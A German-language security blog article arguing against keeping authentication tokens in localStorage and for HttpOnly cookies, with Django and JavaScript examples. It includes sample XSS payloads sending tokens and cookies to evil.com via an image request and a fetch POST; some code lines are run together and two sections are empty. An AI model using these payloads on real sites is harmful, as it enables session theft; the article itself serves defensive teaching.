Verzichten Sie auf die Verwendung von localStorage für Authentifizierungstoken: Ein tiefer Einblick in die Sicherheit

Das Problem, das alle ignorieren

// TUN SIE DAS 
NICHTconst login = async (credentials) => {
  const res = await fetch('/api/auth/login', { ... });
  const { access_token } = await res.json();
  localStorage.setItem('token', access_token); // <-- SICHERHEITSLÜCKE
};

Wie XSS „localStorage“-Token stiehlt

// Nutzlast des Angreifers (über das Kommentarfeld, ein Anzeigenskript usw. eingeschleust)
new Image().src = 'https://evil.com/steal?token='  
 + localStorage.getItem('token');

// Oder sie exfiltrieren Daten über 
fetchfetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('token'),
    cookies: document.cookie,
    url: window.location.href
  })
});

Der richtige Ansatz: HttpOnly-Cookies

# Django-Backend: Token als 
HttpOnly-Cookie setzen from django.http import JsonResponse 

def login_view(request):    
 user = authenticate(request)    
 access_token = generate_jwt(user)    
 refresh_token = generate_refresh_token(user)    

 response = JsonResponse({'user': serialize(user)})    

 # HttpOnly: JavaScript kann es nicht lesen (XSS-sicher)
    # Secure: wird nur über HTTPS gesendet
    # SameSite=Lax: verhindert CSRF bei den meisten Anfragen
    response.set_cookie(
        'access_token', access_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=15 * 60,  # 15 Minuten
        path='/',
    )
    response.set_cookie(
        'refresh_token', refresh_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=7 * 24 * 60 * 60,  # 7 Tage
        path='/api/auth/refresh/',  # wird nur an den Refresh-Endpunkt gesendet
    )
    return response

Frontend: Keine Token-Verwaltung erforderlich

// Frontend: Cookies werden automatisch 
gesendetconst getProfile = async () => {
  const res = await fetch('/api/profile/', {
    credentials: 'include',  // Cookies einbeziehen
  });
  return res.json();
};

// Kein localStorage, keine Token-Auswertung, keine 
Authentifizierungs-Header// Der Browser sendet das HttpOnly-Cookie automatisch

Vergleich: localStorage vs. HttpOnly-Cookies

Was ist mit CSRF?

Fazit

Sicherheit ist keine Funktion, die man nachträglich hinzufügt. Die Entscheidung zwischen „localStorage“- und „HttpOnly“-Cookies macht den Unterschied zwischen „Wir wurden gehackt“ und „Der Angriff wurde abgewehrt“.

— OWASP-Spickzettel zur Authentifizierung